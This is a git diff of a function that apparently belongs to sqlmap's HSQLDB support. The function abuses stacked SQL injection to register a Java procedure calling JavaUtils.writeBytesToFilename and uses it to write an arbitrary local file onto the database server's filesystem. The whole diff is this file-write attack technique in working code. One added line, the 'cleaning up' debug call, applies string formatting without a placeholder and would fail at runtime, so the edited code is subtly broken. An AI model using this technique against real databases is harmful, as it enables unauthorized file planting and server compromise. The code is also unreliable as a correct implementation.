@@ -21,26 +21,23 @@ def readFile(self, remoteFile):
2121
2222 @stackedmethod
2323 def stackedWriteFile (self , localFile , remoteFile , fileType = None , forceCheck = False ):
24-
2524 funcName = randomStr ()
26- MAX_BYTES = 2 ** 20
25+ max_bytes = 1024 * 1024
2726
28- debugMsg = "creating a Java Language Procedure '%s'" % funcName
27+ debugMsg = "creating JLP procedure '%s'" % funcName
2928 logger .debug (debugMsg )
3029
31- addFuncQuery = "CREATE PROCEDURE %s (IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(%s)) " % (funcName , MAX_BYTES )
30+ addFuncQuery = "CREATE PROCEDURE %s (IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(%s)) " % (funcName , max_bytes )
3231 addFuncQuery += "LANGUAGE JAVA DETERMINISTIC NO SQL "
3332 addFuncQuery += "EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'"
3433 inject .goStacked (addFuncQuery )
3534
36- logger .debug ("encoding file to its hexadecimal string value" )
37-
3835 fcEncodedList = self .fileEncode (localFile , "hex" , True )
3936 fcEncodedStr = fcEncodedList [0 ][2 :]
4037 fcEncodedStrLen = len (fcEncodedStr )
4138
4239 if kb .injection .place == PLACE .GET and fcEncodedStrLen > 8000 :
43- warnMsg = "the injection is on a GET parameter and the file "
40+ warnMsg = "as the injection is on a GET parameter and the file "
4441 warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
4542 warnMsg += "bytes, this might cause errors in the file "
4643 warnMsg += "writing process"
@@ -49,15 +46,14 @@ def stackedWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=Fals
4946 debugMsg = "exporting the %s file content to file '%s'" % (fileType , remoteFile )
5047 logger .debug (debugMsg )
5148
52- # http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_procedures
53- invokeQuery = "call %s('%s', cast ('%s' AS VARBINARY(%s)))" % (funcName , remoteFile , fcEncodedStr , MAX_BYTES )
49+ # Reference: http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_procedures
50+ invokeQuery = "CALL %s('%s', CAST ('%s' AS VARBINARY(%s)))" % (funcName , remoteFile , fcEncodedStr , max_bytes )
5451 inject .goStacked (invokeQuery )
5552
56- logger .debug ("removing procedure %s from DB " % funcName )
57- delQuery = "DELETE PROCEDURE " + funcName
53+ logger .debug ("cleaning up " % funcName )
54+ delQuery = "DELETE PROCEDURE %s" % funcName
5855 inject .goStacked (delQuery )
5956
60- message = "the local file '%s' has been successfully written on the back-end DBMS" % localFile
57+ message = "the local file '%s' has been written on the back-end DBMS" % localFile
6158 message += "file system ('%s')" % remoteFile
6259 logger .info (message )
63-
0 commit comments